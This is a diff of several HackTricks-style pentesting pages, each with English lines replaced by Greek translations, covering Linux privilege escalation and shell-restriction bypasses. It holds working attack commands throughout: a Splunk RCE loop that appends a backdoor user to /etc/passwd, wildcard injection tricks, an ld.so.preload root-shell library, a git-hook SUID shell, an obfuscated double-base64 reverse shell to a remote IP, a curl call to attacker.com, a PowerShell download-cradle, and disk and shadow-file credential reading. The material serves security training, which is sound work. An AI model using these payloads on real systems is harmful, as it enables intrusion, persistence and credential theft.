for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**Χρήσιμα δημόσια exploits:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## Κατάχρηση Ερωτημάτων Splunk
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**Για περισσότερες λεπτομέρειες ελέγξτε την ανάρτηση [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# Περίληψη
Τι μπορείτε να κάνετε αν ανακαλύψετε μέσα στο `/etc/ssh_config` ή μέσα στο `$HOME/.ssh/config` αυτή τη ρύθμιση:
```
ForwardAgent yes
```
Αν είστε root μέσα στη μηχανή, μπορείτε πιθανώς να **έχετε πρόσβαση σε οποιαδήποτε ssh σύνδεση έχει γίνει από οποιονδήποτε πράκτορα** που μπορείτε να βρείτε στον _/tmp_ φάκελο.
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
Προσωποποιήστε τον Bob χρησιμοποιώντας έναν από τους ssh-agent του Bob:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## Γιατί λειτουργεί αυτό;
## Why does this work?
Όταν ορίσετε τη μεταβλητή `SSH_AUTH_SOCK`, έχετε πρόσβαση στα κλειδιά του Bob που έχουν χρησιμοποιηθεί στη σύνδεση ssh του Bob. Στη συνέχεια, αν το ιδιωτικό του κλειδί είναι ακόμα εκεί (κανονικά θα είναι), θα μπορείτε να έχετε πρόσβαση σε οποιονδήποτε host χρησιμοποιώντας το.
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
Καθώς το ιδιωτικό κλειδί αποθηκεύεται στη μνήμη του agent χωρίς κρυπτογράφηση, υποθέτω ότι αν είστε ο Bob αλλά δεν γνωρίζετε τον κωδικό πρόσβασης του ιδιωτικού κλειδιού, μπορείτε ακόμα να έχετε πρόσβαση στον agent και να το χρησιμοποιήσετε.
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
Μια άλλη επιλογή είναι ότι ο χρήστης που είναι ο ιδιοκτήτης του agent και ο root μπορεί να έχει πρόσβαση στη μνήμη του agent και να εξάγει το ιδιωτικό κλειδί.
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# Μακροχρόνια εξήγηση και εκμετάλλευση
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**Ελέγξτε την [αρχική έρευνα εδώ](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
Μπορείτε να **υποδείξετε ποιος είναι ο ιδιοκτήτης του αρχείου και ποιες άδειες θέλετε να αντιγράψετε για τα υπόλοιπα αρχεία**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Μπορείτε να εκμεταλλευτείτε αυτό χρησιμοποιώντας [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(συνδυασμένη επίθεση)_\
Περισσότερες πληροφορίες στο [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Execute arbitrary commands:**
**Εκτέλεση αυθαίρετων εντολών:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Μπορείτε να εκμεταλλευτείτε αυτό χρησιμοποιώντας [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(επίθεση tar)_\
Περισσότερες πληροφορίες στο [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync
**Execute arbitrary commands:**
**Εκτέλεση αυθαίρετων εντολών:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Μπορείτε να εκμεταλλευτείτε αυτό χρησιμοποιώντας [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
Περισσότερες πληροφορίες στο [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
Στο **7z** ακόμη και χρησιμοποιώντας `--` πριν από `*` (σημειώστε ότι το `--` σημαίνει ότι η επόμενη είσοδος δεν μπορεί να θεωρηθεί ως παράμετροι, οπότε μόνο διαδρομές αρχείων σε αυτή την περίπτωση) μπορείτε να προκαλέσετε ένα τυχαίο σφάλμα για να διαβάσετε ένα αρχείο, οπότε αν μια εντολή όπως η παρακάτω εκτελείται από τον root:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
Και μπορείτε να δημιουργήσετε αρχεία στον φάκελο όπου εκτελείται αυτό, μπορείτε να δημιουργήσετε το αρχείο `@root.txt` και το αρχείο `root.txt` που είναι ένα **symlink** στο αρχείο που θέλετε να διαβάσετε:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
Τότε, όταν εκτελείται το **7z**, θα θεωρήσει το `root.txt` ως ένα αρχείο που περιέχει τη λίστα των αρχείων που πρέπει να συμπιέσει (αυτό υποδηλώνει η ύπαρξη του `@root.txt`) και όταν το 7z διαβάσει το `root.txt`, θα διαβάσει το `/file/you/want/to/read` και **καθώς το περιεχόμενο αυτού του αρχείου δεν είναι μια λίστα αρχείων, θα εμφανίσει ένα σφάλμα** δείχνοντας το περιεχόμενο.
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_Περισσότερες πληροφορίες στα Write-ups του box CTF από το HackTheBox._
## Zip
**Execute arbitrary commands:**
**Εκτέλεση αυθαίρετων εντολών:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,37 +4,33 @@
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
Αυτό το αρχείο συμπεριφέρεται όπως η μεταβλητή περιβάλλοντος **`LD_PRELOAD`** αλλά λειτουργεί επίσης σε **SUID binaries**.\
Αν μπορείτε να το δημιουργήσετε ή να το τροποποιήσετε, μπορείτε απλά να προσθέσετε μια **διαδρομή σε μια βιβλιοθήκη που θα φορτωθεί** με κάθε εκτελούμενο δυαδικό αρχείο.
Για παράδειγμα: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) είναι **σενάρια** που εκτελούνται σε διάφορες **εκδηλώσεις** σε ένα αποθετήριο git, όπως όταν δημιουργείται μια δέσμευση, μια συγχώνευση... Έτσι, αν ένα **προνομιακό σενάριο ή χρήστης** εκτελεί αυτές τις ενέργειες συχνά και είναι δυνατό να **γραφεί στον φάκελο `.git`**, αυτό μπορεί να χρησιμοποιηθεί για **privesc**.
Για παράδειγμα, είναι δυνατό να **δημιουργηθεί ένα σενάριο** σε ένα αποθετήριο git στον **`.git/hooks`** ώστε να εκτελείται πάντα όταν δημιουργείται μια νέα δέσμευση:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
Το αρχείο που βρίσκεται στο `/proc/sys/fs/binfmt_misc` υποδεικνύει ποιο δυαδικό αρχείο θα εκτελεί ποιο τύπο αρχείων. TODO: ελέγξτε τις απαιτήσεις για να εκμεταλλευτείτε αυτό για να εκτελέσετε ένα rev shell όταν ανοίγει ένας κοινός τύπος αρχείου.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,9 @@
# Useful Linux Commands
# Χρήσιμες Εντολές Linux
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## Κοινές Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## Bash για Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## Βρείτε
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Βοήθεια αναζήτησης Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
## Μπάσα
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,27 +1,16 @@
# Bypass Linux Restrictions
# Παράκαμψη Περιορισμών Linux
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
## Συνηθισμένες Παράκαμψεις Περιορισμών
### Αντίστροφη Σκηνή
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### Σύντομο Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### Παράκαμψη Διαδρομών και απαγορευμένων λέξεων
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
### Παράκαμψη απαγορευμένων χώρων
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### Παράκαμψη της κάθετης και της οριζόντιας γραμμής
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
### Παράκαμψη σωλήνων
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### Παράκαμψη με κωδικοποίηση hex
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
### Παράκαμψη IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### Εξαγωγή δεδομένων με βάση τον χρόνο
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### Λήψη χαρακτήρων από μεταβλητές περιβάλλοντος
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
Μπορείτε να χρησιμοποιήσετε το **burpcollab** ή το [**pingb**](http://pingb.in) για παράδειγμα.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο builtins για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **builtins**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από [**devploit**](https://twitter.com/devploit).\
Πρώτα απ' όλα, ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### Πολυγλωσσική έγχυση εντολών
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### Παράκαμψη πιθανών regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### RCE με 5 χαρακτήρες
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### RCE με 4 χαρακτήρες
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## Παράκαμψη Read-Only/Noexec/Distroless
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις **προστασίες read-only και noexec** ή ακόμα και σε ένα distroless container, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετους δυαδικούς κωδικούς, ακόμα και ένα shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Παράκαμψη Chroot & άλλων Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## Αναφορές & Περισσότερα
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
Περαιτέρω παραδείγματα γύρω από το yum μπορούν επίσης να βρεθούν στο [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executing arbitrary commands via RPM Packages
# Εκτέλεση αυθαίρετων εντολών μέσω RPM Πακέτων
## Checking the Environment
## Έλεγχος του Περιβάλλοντος
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
Για να εκμεταλλευτεί αυτό το vector, ο χρήστης πρέπει να είναι σε θέση να εκτελεί εντολές yum ως χρήστης με υψηλότερα προνόμια, δηλαδή root.
### A working example of this vector
### Ένα λειτουργικό παράδειγμα αυτού του vector
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
Ένα λειτουργικό παράδειγμα αυτής της εκμετάλλευσης μπορεί να βρεθεί στο δωμάτιο [daily bugle](https://tryhackme.com/room/dailybugle) στο [tryhackme](https://tryhackme.com).
## Packing an RPM
## Συσκευασία ενός RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
Στην επόμενη ενότητα, θα καλύψω τη συσκευασία ενός reverse shell σε ένα RPM χρησιμοποιώντας [fpm](https://github.com/jordansissel/fpm).
Το παρακάτω παράδειγμα δημιουργεί ένα πακέτο που περιλαμβάνει έναν trigger πριν την εγκατάσταση με ένα αυθαίρετο script που μπορεί να καθοριστεί από τον επιτιθέμενο. Όταν εγκατασταθεί, αυτό το πακέτο θα εκτελέσει την αυθαίρετη εντολή. Έχω χρησιμοποιήσει ένα απλό παράδειγμα reverse netcat shell για επίδειξη, αλλά αυτό μπορεί να αλλάξει όπως απαιτείται.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
# Sudo/Διαχειριστικές Ομάδες
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
## **PE - Μέθοδος 1**
**Μερικές φορές**, **κατά προεπιλογή \(ή επειδή κάποια λογισμικά το χρειάζονται\)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,36 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα sudo ή admin μπορεί να εκτελέσει οτιδήποτε ως sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```text
sudo su
```
## PE - Μέθοδος 2
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Βρείτε όλα τα suid δυαδικά και ελέγξτε αν υπάρχει το δυαδικό **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι SUID δυαδικό και ανήκετε σε sudo ή admin, θα μπορούσατε πιθανώς να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec.
Ελέγξτε τα περιεχόμενα του:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί να **εμφανίζονται** κάποιες από τις ομάδες **sudo ή admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
Για να **γίνετε root μπορείτε να εκτελέσετε**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Αν προσπαθήσετε να εκτελέσετε **pkexec** και λάβετε αυτό το **σφάλμα**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +53,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**Μερικές φορές**, **κατά προεπιλογή** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε αυτή τη γραμμή:
```text
%wheel ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα wheel μπορεί να εκτελεί οτιδήποτε ως sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Χρήστες από την **ομάδα shadow** μπορούν να **διαβάσουν** το **/etc/shadow** αρχείο:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Λοιπόν, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**.
So, read the file and try to **crack some hashes**.
# Ομάδα Δίσκου
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Αυτή η προνομιακή πρόσβαση είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή.
Αρχεία: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,70 +85,55 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
